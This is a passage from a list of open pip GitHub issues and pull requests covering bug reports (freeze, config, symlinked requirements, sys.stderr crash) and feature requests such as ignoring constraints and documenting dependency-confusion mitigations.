Otherwise, you can't do "hard" pinning of requirements, which might be a compliance requirement for ISO-9000 Series, ISO-27000 Series, NISP SP 800 Series/CMMC, or other standards which require a well-defined bill-of-materials to be pinned during processes to achieve certification.

### Expected behavior

The version enumerated in the requirements file (if present) should also be checked by `freeze`.

### pip version

21.3.1

### Python version

3.6.8

### OS

CentOS Linux release 8.5.2111

### How to Reproduce

1. Find an installed package
2. Create a `requirements.txt` file that names that package, but version it with another value
3. Run `pip freeze -r requirements.txt` and see if there's an error generated (there isn't).


### Output

```
[pprindeville@localhost sensor]$ python --version
Python 3.6.8
[pprindeville@localhost sensor]$ python -m pip --version
pip 21.3.1 from /home/pprindeville/venv/lib/python3.6/site-packages/pip (python 3.6)
[pprindeville@localhost sensor]$ python -m pip freeze | grep filelock
filelock==3.4.1
[pprindeville@localhost sensor]$ echo "filelock==3.4.2" >> test_requirements.txt
[pprindeville@localhost sensor]$ python -m pip freeze -r test_requirements.txt
filelock==3.4.1
## The following requirements were added by pip freeze:
...
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pprindeville
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11724: state: open
title: Add root path to sys.path in build env for embedded Python
body: Fix https://github.com/pypa/pip/issues/11670, related issue: https://github.com/python/cpython/issues/100399, https://github.com/Azure/azure-cli/issues/24781

In embedded python, the pyd files are put in root folder.
In standard python, they are put into DLLs folder.

``` 
  Directory: C:\Users\kk\AppData\Local\Programs\Python\Python310\DLLs

-a----        10/11/2022     16:59        1121152 unicodedata.pyd
-a----        10/11/2022     16:59          29560 winsound.pyd
-a----        10/11/2022     16:59          64384 _asyncio.pyd
-a----        10/11/2022     16:59          83320 _bz2.pyd
-a----        10/11/2022     16:59         123264 _ctypes.pyd
```
```
  Directory: C:\Users\kk\Downloads\python_emb

-a----        12/21/2022     14:38        1113976 unicodedata.pyd
-a----        12/21/2022     14:38          90440 vcruntime140.dll
-a----        12/21/2022     14:38          26488 winsound.pyd
-a----        12/21/2022     14:38          55680 _asyncio.pyd
-a----        12/21/2022     14:38          79736 _bz2.pyd
-a----        12/21/2022     14:38         106368 _ctypes.pyd
```

In `build_env.py`, the root folder is excluded by this logic, as root folder is in `system_paths`/`system_sites`.
https://github.com/pypa/pip/blob/07a360dfe8fcad8c34d7bb70c77362cc3ec8a374/src/pip/_internal/build_env.py#L122-L126

If these pyd files need to be imported when install new package, `ModuleNotFoundError` is raised.
Currently, I find `pwinput` and `pendulum` can't be installed in embedded Python.

I'm not sure whether this change brings some side effect. Let me know if you have any concern.

### Repro step
1. Download https://www.python.org/ftp/python/3.10.9/python-3.10.9-embed-win32.zip and extract it
2. curl -sSL https://bootstrap.pypa.io/get-pip.py -o get-pip.py
3. .\python.exe get-pip.py
4. .\python.exe -m pip install pwinput
5. `ModuleNotFoundError: No module named 'pyexpat'` raises

It can be installed successfully with this PR. 
user: bebound
issue_11723: state: open
title: Add '--ignore-constraint' option
body: Constraint files are often shared across an organization. When developing a package included in such a constraint file, it is not possible to install the package with constraints since the constraint on the package prevents us installing a development version.

```console
❯ cd my-amazing-package
❯ cat constraints.txt
my-amazing-package==1.2.3
Jinja2==3.1.2
iso8601==1.1.0
msgpack==1.0.4
❯ pip install -c constraints.txt .
Processing /dev/my-amazing-package
  Preparing metadata (setup.py) ... done
ERROR: Cannot install my-amazing-package 1.2.4.dev1 (from /dev/my-amazing-package) because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested my-amazing-package 1.2.4.dev1 (from /dev/my-amazing-package)
    The user requested (constraint) my-amazing-package===1.2.4.dev1

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
```

Resolve this by allowing users to opt out of individual constraints to the `install`, `wheel`, and `download` subcommands. This is rather manual but it's expected that tools like tox could automatically generate a value for this option when invoking `pip install` command.

```console
❯ pip install -c constraints.txt --ignore-constraint my-amazing-package .
❯ pip wheel -c constraints.txt --ignore-constraint my-amazing-package .
❯ pip download -c constraints.txt --ignore-constraint my-amazing-package .
```

This is only added for the `2020-resolver` resolver, not the `legacy-resolver` resolver, given the latter is deprecated for removal.

Fixes: #7839

## Open questions

- [ ] Are we happy to make this a flag that the user should pass manually? I wasn't able to think of a foolproof way to detect that the we're installing a package and wanted to ignore constraints for that specific package. I also wasn't sure we wanted to do this.
- [ ] Should we validate the package name provided by the user? Currently it's free-form, in line with most other options that I could see. We might want to validate (a) it's a valid package name and (b) it's actually going to be installed (to prevent typos). Not sure this is needed though.

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: stephenfin
issue_11722: state: open
title: Describe dependency confusion mitigations in "Secure installs" docs
body: ### What's the problem this feature will solve?

The docs at https://pip.pypa.io/en/stable/topics/secure-installs/ do not describe how to avoid dependency confusion attacks that can arise when using `--extra-index-url` (as described in https://github.com/pypa/pip/issues/8606).

### Describe the solution you'd like

The docs at https://pip.pypa.io/en/stable/topics/secure-installs/ should describe how to avoid dependency confusion attacks (e.g., don't use `--extra-index-url`, use `--index-url` instead, or `--find-links` combined with `--no-index`)

### Alternative Solutions

One alternative is to resolve https://github.com/pypa/pip/issues/8606 or deprecate/remove `--extra-index-url` instead. Without stating an opinion on whether either of those should happen, I think we should document this in the short term regardless.

### Additional context

https://github.com/pypa/pip/issues/11694 is related, but is about adding this to the `--extra-index-url` docs instead. IMO, we should do both (likely link to one from the other).

Happy to work on this if it's agreed this is worthwhile!

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: di
labels: type: docs: Documentation related
good first issue: A good item for first time contributors to work on
issue_11721: state: open
title: Fix Keyring being only used when 401 is returned
body: ### What's the problem this feature will solve?

Currently we have the issue that our artifactory returns http-403 for the initial lookup and does not use keyring credentials in the following. We found that those credentials are only used if a http-401 is returned. 

So it would be great if there is a choice for HTTP return codes or if also 403 - forbidden could be included in the workflow to retry the request with credentials afterwards.

### Describe the solution you'd like

One way to achieve this is to change the network/auth.py file. The `handle_401` method might be adjusted to include other HTTP-codes as well, e.g.

```
   
   def handle_401(self, resp: Response, **kwargs: Any) -> Response:
        # We only care about 401 and 403 responses, anything else we want to just
        #   pass through the actual response
        status_codes = [401, 403]
        if resp.status_code not in status_codes:
            return resp
            .....
  ```

### Alternative Solutions

Other workarounds did not work so well, since the artifactory return codes are fixed. I found some issues which mention to force keyring, which will work, but it is not implemented right now.

### Additional context

-

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: MarianG
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11715: state: open
title: Upgrade the vendored `packaging` to 22.0+
body: Filing an issue to track this since there's a lot of pieces involved as far as I can tell.

xref https://github.com/pypa/packaging/issues/530


Needs:

- [x] A concensus on the deprecation plan for legacy versions / requirements + rollout
- https://github.com/pypa/setuptools/pull/2822/ or some alternative

Blocks:

- Improving error messages around bad requirements being provided to pip; notably https://github.com/pypa/packaging/pull/624
- Improving startup times (by removing `pyparsing`'s parser initialization at import time from `packaging.requirement)
- [PEP 685](https://peps.python.org/pep-0685/) (https://github.com/pypa/packaging/issues/545)
- Better handling of "old" MacOS tags
- Reverting https://github.com/pypa/pip/pull/10550, since the parser is over 95% faster and uses less memory now.
user: pradyunsg
labels: type: maintenance: Related to Development and Maintenance Processes
type: deprecation: Related to deprecation / removal.
issue_11712: state: open
title: Enable strict optional checking in resolver
body: Most of the checks added are not relevant in practice, but I also tried to make them make sense if they were to be actually visited.
user: uranusjr
labels: skip news: Does not need a NEWS file entry (eg: trivial changes)
issue_11706: state: open
title: pip history module
body: ### What's the problem this feature will solve?

Due some problems around compatibilty of module/package often doing pip --upgarde, but if more modules touching this process then is easy to forgot what was previous version instaled and how to back to the right.

### Describe the solution you'd like

`pip history module` geting some history of installation as eg. table
module-name
| datetime | version | process |
| ----------- | ----------- | ----------- |
| datetime | version | instaled |
| datetime | version | uninstaled |
| datetime | version | instaled |
| datetime | version | instaled |
| datetime | version | instaled |

It can be in sqlite

### Alternative Solutions

Select for this register regarding headers as:
`pip history module datetime > 2023-01-05`
`pip history module datetime > 2023-01-05 and datetime  < 2023-01-06 `
`pip history module version 1.0 > and datetime < 5.0 `
`pip history module process==uninstaled`

### Additional context

`pip check modules`
Listing whole table with modules and curent release as pages +10 -10
https://github.com/pypa/pip/issues/11705
for table
| module | datetime_instaled | version_instaled | datetime_new_release | version_new_release |
| ----------- | ----------- | ----------- | ----------- | ----------- |  
| module | datetime_instaled | version_instaled | datetime_new_release | version_new_release |

`pip check modules datetime_new_release < 2023-01-05`
`pip check modules count_new_version > 5` - more than 5tags than curent modules in list
`pip check modules count_version` - count all version for all
`pip show module count_version` - count all version for module
`pip show module count_new_version  > 5 `- more than 5tags than curent module as single

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ManPython
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11705: state: open
title: Date realese of module/package and version
body: ### What's the problem this feature will solve?

I often don't know what is date realese of module/package, and sometimes is very outdated, then maybe should find other or care about some problems, other secuirty issues or bugs.

### Describe the solution you'd like

1. Before install want information as some "meta" "info" about module/package:
2. Then want question like: Want to install?  (y/n) 
3. Select version: Last 10 version, form 0-9, where 0 current, and if 10 show more version

### Alternative Solutions

If comand `pip instal module -nq` (no questions)

### Additional context

Regarding 3. as Select version: Last 10 version, form 0-9, where 0 current, and if 10 show more version
comand can be 10+ as next page with 10 list or back as -10 as previous page or maybe 20+ 30+ -20 -30

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ManPython
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11700: state: open
title: "pip config get xxx" fails when PIP_CONFIG_FILE env variable is set
body: ### Description

When an explicit file location is set for the configuration of pip with the `PIP_CONFIG_FILE` environment variable, the result of `pip config get <key>` fails


### Expected behavior

The key should be retrieved, using all the resolution possible, `PIP_CONFIG_FILE` env included.

### pip version

22.3.1

### Python version

3.9.13

### OS

rocky linux

### How to Reproduce

1. Without the env variable: `pip config get <whatever>` works
2. Set the env variable to the same config file eg `export PIP_CONFIG_FILE=~/.config/pip/pip.conf` for instance
3. Now `pip config get <whatever>` will fail

Note that the `pip config debug` and `pip config list` are apparently correctly working.
Also not that the same problem happens when using `pip config set ...`



### Output

```
pip config get global.index-url
ERROR: No such key - global.index-url
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: AtomBaf
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11694: state: open
title: `--extra-index-url` option documentation should have warning about "dependency confusion"
body: ### What's the problem this feature will solve?

Currently the [documentation for the `--extra-index-url` option](https://pip.pypa.io/en/stable/cli/pip_install/#cmdoption-extra-index-url) does not warn about "dependency confusion", only the corresponding example contains a warning (added by #9647).

However, it is likely that users will miss that warning because they might not look at the examples section.

### Describe the solution you'd like

In addition to the existing warning on the example, the [documentation for the `--extra-index-url` option](https://pip.pypa.io/en/stable/cli/pip_install/#cmdoption-extra-index-url) itself should also have a warning because that is most likely where users would first look for such a warning.

### Alternative Solutions

\-

### Additional context

Not sure how easy it would be to implement this since the documentation for the options (including `--extra-index-url`) seems to be generated dynamically and might not support an RST warning box. Though at the very least a plaintext warning would be helpful as well. I assume in that case the warning would also be shown in the command line help, which would be useful too.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Marcono1234
labels: type: docs: Documentation related
issue_11685: state: open
title: Supply Distribution.locate_file, honoring the abstract method.
body: Fixes #11684.
user: jaraco
issue_11684: state: open
title: WheelDistribution doesn't implement abstract methods of importlib.metadata.Distribution
body: ### Description

In https://github.com/python/cpython/pull/100466, we learned that pip implements a `WheelDistribution` derived from `importlib.metadata.Distribution`, but doesn't implement the abstract methods. This usage was allowed because the ABC didn't derive from abc.ABCMeta. I don't recall if that choice was intentional or not, but attempting to enforce the definition of abstract methods in subclasses breaks pip invocations.

### Expected behavior

Pip should implement the abstract methods (even if just trivially).

### pip version

22.3.1

### Python version

3.12a3ish

### OS

all

### How to Reproduce

Apply the patch from the referenced Python PR to the Python stdlib and invoke pip install.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jaraco
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11677: state: open
title: `pip list` should not perform a self-update check
body: ### Description

Running `pip` in env which is cu off from public network I found that on each execution it tries to check availability of its new version.
It causes long freezing of pip command and atthe end it prints message `WARNING: There was an error checking the latest version of pip.`


### Expected behavior

IMO `pip` should **only** do what is specified in commad lie parameters and nothing more.


### pip version

22.3.1

### Python version

3.8.16

### OS

Linux x86/64

### How to Reproduce

Run `pip list` in env which is cut off from access to the public network.

### Output

Example:
```
$ time pip list
Package                       Version
----------------------------- -----------------
alabaster                     0.7.12
appdirs                       1.4.4

[..]

urllib3                       1.26.12
wheel                         0.38.4
zipp                          3.11.0
WARNING: There was an error checking the latest version of pip.

real    2m0.771s
user    0m0.605s
sys     0m0.114s
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: kloczek
labels: type: bug: A confirmed bug or unintended behavior
C: list/show: 'pip list' or 'pip show'
issue_11669: state: open
title: Handle relative paths to nested requirements.txt where some elements of the path may be symlinks
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Resolves #11668 
user: todddialpad
issue_11668: state: open
title: A requirements.txt file that references another requirements.txt file via a symlink may not resolve
body: ### Description

A requirements.txt file that contains a relative reference to another requirements.txt file may not be found if the relative path includes symlink'ed directories.

I have an application that in a workspace includes symlinks to shared packages. During deployment the symlinks get converted to actual directories. Some of these include requirements.txt files that reference other shared packages. These files reference the other packages by relative path. Since these are converted to real directories on deployment, the relative path is as if the directories are real and not symlinks. But this means the relative references fail within the workspace, where the directories are symlinks.

For example:

```
<workspace>
- common/
  - shared/
    - package1 # package1 has a requirements.txt file
    - collection1/
      - package2 # package2 has a requirements.txt file that includes by relative reference the package1/requirements.txt
- project/
  - lib/
    - package1 # Is a symlink to ../../common/shared/package1
    - collections/
      - collection/
        - package2 # Is a symlink to ../../../../common/shared/collection1/package2
  - requirements.txt that includes `-r lib/collections/collection/package2/requirements.txt`
```

In the workspace, the relative path from package2's requirements.txt to package1's requirements.txt file is
```
-r ../../package1/requirements.txt
```
but when the symlinks are converted to real directories during deployment, the relative path is different and needs to be
```
-r ../../../package1/requirements.txt
```

### Expected behavior

In an environment that includes relative paths, symlink'd directories shouldn't cause the pip install of requirements.txt files to fail.

### pip version

22.3.1

### Python version

3.10

### OS

MacOS and Ubuntu

### How to Reproduce

Described above.

In a project directory, create a symlink to a directory with a requirements.txt file in it. That requirements.txt file should reference another requirements.txt file that is accessed through another symlinked directory in the project.

If the relative location of the second directory from the first within the project is different than their relative location in their "true" location, then the relative relative reference in the first requirements.txt pointing to the second requirements.txt file fails to be resolved by pip if it is specified based on their relative locations in the project namespace.

### Output

ERROR: Could not open requirements file: [Errno 2] No such file or directory: 'lib/collections/collection/package2/../../../package1/requirements.txt'

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: todddialpad
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11664: state: open
title: Various package-index filtering flags do not affect the environment markers
body: This is a common pattern that I'm seeing in pip's issue tracker; so filing an issue to (a) trigger a discussion of how to improve documentation / output / errors to better deal with the mismatch in user expectations vs behaviour here and (b) consolidate those issues.

Basically, the fundamental problem here is that pip has various options that affect the _wheels_ that pip will consider when triaging things (`--platform <platform>`, `--python-version <python_version>`, `--implementation <implementation>`, `--abi <abi>`) but those do not affect the marker evaluation environment for dependencies.

This results in a subtle failure mode: `pip install [options] package` will use a wheel for package that has a (hypothetical) Python version 9.22 but when evaluating environment markers (https://packaging.python.org/en/latest/specifications/dependency-specifiers/#environment-markers), that would still use the environment for the current Python interpreter.

It is *not* possible to compute the environment markers based on the values passed in by the user via the CLI.
user: pradyunsg
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_11660: state: open
title: Allow `--find-links` to link to source directories (as with editable installs)
body: ### What's the problem this feature will solve?

I work on a large Python project ([Dagster](https://github.com/dagster-io/dagster)) where development occurs in a monorepo with many interdependent Python packages. Each one of these packages has a `tox.ini` file to build a test environment, and a `setup.py` with the usual package dependencies.

Testing should always be carried out with the currently checked-out versions of intra-repo dependency packages. To achieve this, we currently double-specify our intra-repo dependencies, both in the `tox.ini` and `setup.py`. For example:

```
### python_modules/libraries/dagster-dask/tox.ini
...
[testenv]
deps =
  -e ../../dagster[test]
  -e ../../dagster-graphql
  -e ../dagster-aws
  -e ../dagster-pandas
...


### python_modules/libraries/dagster-dask/setup.py
...
install_requires=[
    "dagster",
    "dagster-graphql",
    "dagster-aws",
    "dagster-snowflake"
]
```

This is necessary because, without the editables in the tox `deps` specification, the dependencies will be pulled from PyPI instead of using the editable version when `tox` installs `dagster-dask`.

I am hoping to find a solution to this problem by configuring `pip` to resolve some packages to editable installs. I believe this would frequently be useful for other Python monorepo devs as well.

### Describe the solution you'd like

Allow `--find-links` to contain links directly to source directories, like `pip install --editable`. Then we could do e.g. this:

```
### index.html

<a href="file:///python_modules/dagster">
  dagster
</a>
<a href="file:///python_modules/dagster-graphql">
  dagster-graphql
</a>
<a href="file:///python_modules/libraries/dagster-aws">
  dagster-aws
</a>
<a href="file:///python_modules/libraries/dagster-pandas">
  dagster-pandas
</a>
```

And installing with `--find-links=index.html` would do editable installs.

```
# resolves these packages in index.html and does editable install
pip install --find-links=index.html dagster dagster-graphql dagster-aws dagster-pandas
```

### Alternative Solutions

I have been unable to find any alternative solution. The double-deps-specification workaround is not great.

### Additional context

N/A

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: smackesey
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11648: state: open
title: Stop relying on `__file__`
body: ### Description

As https://github.com/indygreg/PyOxidizer/issues/69 explains, `__file__` is optional, and in environments running `pip` where the interpreter doesn't define it: :boom:  

An easy way to see this in action is `pyoxy run-python -- -m pip --version`
(releases are here: https://gregoryszorc.com/docs/pyoxy/main/)

### Expected behavior

_No response_

### pip version

(`main`)

### Python version

PyOxy 0.2.0

### OS

Ubuntu 20

### How to Reproduce

1. Use an interpreter that doesn't define `__file__`. PyOxy is one of them: https://gregoryszorc.com/docs/pyoxy/main/
2. Run `pip` with that interpreter

### Output

```
Traceback (most recent call last):
  File "runpy", line 194, in _run_module_as_main
  File "runpy", line 87, in _run_code
  File "pip.__main__", line 29, in <module>
  File "pip._internal.cli.main", line 9, in <module>
  File "pip._internal.cli.autocompletion", line 10, in <module>
  File "pip._internal.cli.main_parser", line 8, in <module>
  File "pip._internal.cli.cmdoptions", line 22, in <module>
  File "pip._vendor", line 23, in <module>
NameError: name '__file__' is not defined
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: thejcannon
labels: S: awaiting response: Waiting for a response/more information
state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11647: state: open
title: Truststore by default
body: Follow up to https://github.com/pypa/pip/pull/11082 which makes truststore w/ certifi the default behavior on Python 3.10+. This behavior can be opted-out of in favor of old behavior with `--use-feature=no-truststore`.

TODO:
- [x] Add a NEWS entry
- [x] Update documentation with the new situation and feature
- [ ] Add more tests? Unsure how I can test that truststore isn't used when `no-truststore` is specified.

cc @davisagli @pradyunsg @uranusjr
user: sethmlarson
issue_11645: state: open
title: Not able to define different paths for base, lib, purelib, platbase, headers, scripts and data
body: ### Description

In `distutils.core.setup` and `setuptools.setup`, I was able to define different paths for base, lib, purelib, platbase, headers, scripts and data:
`python setup.py install --install-base=<base-path> --install-lib=<lib-path> --install-purelib=<purelib-path> --install-platbase=<platbase-path> --install-headers=<headers-path> --install-scripts=<scripts-path> --install-data=<data-path>`

The `install` command is deprecated and will be removed in the future. I'm looking for a replacement like using `build` and `pip`:
```
python -m build
python -m pip install <package-name>
```

When I look at the help of the pip install command, I see that I can pass for example the scripts path as an option:
```
python -m pip install --help
  --install-option <options>  Extra arguments to be supplied to the setup.py install command (use like --install-
                              option="--install-scripts=/usr/local/bin"). Use multiple --install-option options to
                              pass multiple options to setup.py install. If you are using an option with a directory
                              path, be sure to use absolute path.
```

If I pass the following option, I have the following error:
```
python -m pip install <package-name> --install-option="--install-scripts=/usr/local/bin"
ERROR: Location-changing options found in --install-option: ['--install-scripts'] from command line. This is unsupported, use pip-level options like --user, --prefix, --root, and --target instead.
```

With pip, how can I pass the different paths for base, lib, purelib, platbase, headers, scripts and data?

### Expected behavior

Work like mentioned in the help.

### pip version

22.3.1

### Python version

3.10.8

### OS

Windows

### How to Reproduce

python -m pip install <package-name> --install-option="--install-scripts=/usr/local/bin"

### Output

ERROR: Location-changing options found in --install-option: ['--install-scripts'] from command line. This is unsupported, use pip-level options like --user, --prefix, --root, and --target instead.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dlaugt
labels: type: support: User Support
S: awaiting response: Waiting for a response/more information
issue_11632: state: open
title: Win/git-bash pip uninstall mypackage crash when in virtual environment "input(): lost sys.stderr"
body: ### Description

On win32/gitbash, this currently crashes while in a virtual environment:

```bash
pip uninstall mypackage
```

It does not happen while in the global environment, or if in a virtual environment and using `cmd` or `powershell`

To reproduce the issue, simply run the pip uninstall -y mypackage command in Git Bash on a win32 system. The command should crash, but with this fix applied, it should uninstall mypackage without crashing.

Debugging shows that `sys.stderr` is `None`. This persists even to the start of the program, for example I can insert this at the top of `pip/_internal/cli/base_command.py`:

```python
import sys
print("sys.stderr:", sys.stderr)
```

And the output is: `sys.stderr:  None`

And I see a printout

### Expected behavior

Expected behavior is that `pip uninstall mypackage` does not crash.

### pip version

22.3.1

### Python version

3.10.8

### OS

Windows 10: 22H2 OS Build 19045.2251

### How to Reproduce


  1. Start in git-bash
  2. `virtualenv -p python3 venv`
  3. `. venv/Scripts/activate`
  4. `pip install keyvalue_sqlite`
  5. ERROR STEP: `pip uninstall keyvalue_sqlite`, outputs "input(): lost sys.stderr"

### Output


```bash
ERROR: Exception:
Traceback (most recent call last):
  File "C:\Users\niteris\dev\temp\venv\lib\site-packages\pip\_internal\cli\base_command.py", line 160, in exc_logging_wrapper
    status = run_func(*args)
  File "C:\Users\niteris\dev\temp\venv\lib\site-packages\pip\_internal\commands\uninstall.py", line 98, in run
    uninstall_pathset = req.uninstall(
  File "C:\Users\niteris\dev\temp\venv\lib\site-packages\pip\_internal\req\req_install.py", line 660, in uninstall
    uninstalled_pathset.remove(auto_confirm, verbose)
  File "C:\Users\niteris\dev\temp\venv\lib\site-packages\pip\_internal\req\req_uninstall.py", line 367, in remove
    if auto_confirm or self._allowed_to_proceed(verbose):
  File "C:\Users\niteris\dev\temp\venv\lib\site-packages\pip\_internal\req\req_uninstall.py", line 407, in _allowed_to_proceed
    return ask("Proceed (Y/n)? ", ("y", "n", "")) != "n"
  File "C:\Users\niteris\dev\temp\venv\lib\site-packages\pip\_internal\utils\misc.py", line 190, in ask
    response = input(message)
RuntimeError: input(): lost sys.stderr
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: zackees
labels: project: vendored dependency: Related to a vendored dependency
issue_11631: state: open
title: Don't bail out the upgrade when RECORD is missing and the new version would be installed elsewhere
body: ### What's the problem this feature will solve?

In Fedora, we package Python packages in RPMs without `RECORD`, with `rpm` in `INSTALLER`.

When users want to remove them with sudo pip, it errors:

```
$ cat /usr/lib/python3.11/site-packages/requests-2.28.1.dist-info/INSTALLER 
rpm

$cat /usr/lib/python3.11/site-packages/charset_normalizer-2.1.0.dist-info/INSTALLER 
rpm

# pip uninstall requests
Found existing installation: requests 2.28.1
ERROR: Cannot uninstall requests 2.28.1, RECORD file not found. Hint: The package was installed by rpm.
```

So far so good. Now consider the user wants to use sudo pip to upgrade requests.

(I'll actually downgrade in the examples because 2.28.1 is the latest version.)

```
# pip install --upgrade 'requests<2.28.1'
Collecting requests<2.28.1
  Downloading requests-2.28.0-py3-none-any.whl (62 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 62.8/62.8 kB 2.6 MB/s eta 0:00:00
Collecting charset-normalizer~=2.0.0
  Downloading charset_normalizer-2.0.12-py3-none-any.whl (39 kB)
Requirement already satisfied: idna<4,>=2.5 in /usr/lib/python3.11/site-packages (from requests<2.28.1) (3.4)
Requirement already satisfied: urllib3<1.27,>=1.21.1 in /usr/lib/python3.11/site-packages (from requests<2.28.1) (1.26.12)
Collecting certifi>=2017.4.17
  Downloading certifi-2022.9.24-py3-none-any.whl (161 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 161.1/161.1 kB 5.2 MB/s eta 0:00:00
Installing collected packages: charset-normalizer, certifi, requests
  Attempting uninstall: charset-normalizer
    Found existing installation: charset-normalizer 2.1.0
ERROR: Cannot uninstall charset-normalizer 2.1.0, RECORD file not found. Hint: The package was installed by rpm.
```

It is good that pip refuses to uninstall charset-normalizer. However, if pip would simply **skip the uninstallation in this case**, it would happily install a different charset-normalizer version to a different prefix, because our installation prefix differs (we patch sysconfig to install to `/usr/local`).

### Describe the solution you'd like

When pip:

 - replaces one version of a package with another
 - the to-be-uninstalled version is missing the `RECORD` file
 - the to-be-installed version is going to be installed in another directory

I'd like pip to skip the uninstallation (possibly informing the user about doing so) and proceed with the installation.

### Alternative Solutions

In Fedora, we currently patch pip to always skip the uninstallation on upgrades when the to-be-unisntalled packages are installed in the `/usr` prefix. This solves the problem but is utterly Fedora-specific and cannot be upstreamed. The problem is when users use pip to upgrade pip, they lose this patch.

### Additional context

We try to educate our users not to use pip with sudo (under root), but they keep doing this. Despite all the dead kittens (a kitten is killed every time somebody runs pip as root), we try to make the experience as flawless as possible.

We started removing `RECORD`s and adding our custom `INSTALLER`s which made the system harder to break (users unable to sudo pip uninstall RPM packages) but arguably also harder to use (users unable to sudo pip upgrade RPM packages).

----

I am willing o have a look at this implementation-wise, but I've opened this issue to see if this would be acceptable.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: hroncok
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11630: state: open
title: Fixes win/git-bash `pip uninstall mypackage` crash when in virtual environment "input(): lost sys.stderr"
body: Workaround for: https://github.com/pypa/pip/issues/11632

On win32/gitbash, this currently crashes while in a virtual environment:

```bash
pip uninstall mypackage
```

It does not happen while in the global environment, or if in a virtual environment and using `cmd` or `powershell`

To reproduce the issue, simply run the pip uninstall -y mypackage command in Git Bash on a win32 system. The command should crash, but with this fix applied, it should uninstall mypackage without crashing.

This is done by checking that the current system platform is both windows and MINGW64. This fix will apply to git-bash and also cygwin. No other platforms are affected.

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
user: zackees
issue_11621: state: open
title: fix: Allow extra-index-url to precede index-url
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

fix #11511 

fix https://github.com/python-poetry/poetry-plugin-export/issues/149
user: akkuman
issue_11619: state: open
title: Add `venv`-based build isolation behind a flag
body: This is still very much WIP, but it's been something I've been chipping away at for the past few weeks on a regular basis. I'm filing this eagerly, on the basis that "it can't hurt to file early".

I've incorporated some of the choices made in #11602 as a part of this; but that's triggered a bit of a rework of the existing changes I had.

Closes https://github.com/pypa/pip/issues/7778
user: pradyunsg
labels: needs rebase or merge: PR has conflicts with current master
issue_11608: state: open
title: pip list |head raises BrokenPipeError
body: ### Description

https://github.com/pypa/pip/issues/4170 is closed but the bug is still there
not sure if it's a regression or the fix may have missed something in the first place (@cjerdonek?). I could not bisect it, because I also get the same issue on pip 19.0.0 which is when the fix went in according to the [changelog](https://pip.pypa.io/en/stable/news/#v19-0).
reproducible on both macOS and Linux.


### Expected behavior

pip handles `BrokenPipeError` and exits gracefully

### pip version

22.3.1

### Python version

3.11.0

### OS

macOS and/or Linux

### How to Reproduce


```
$ pip --version
pip 22.3.1 from .../.venv/lib/python3.11/site-packages/pip (python 3.11)
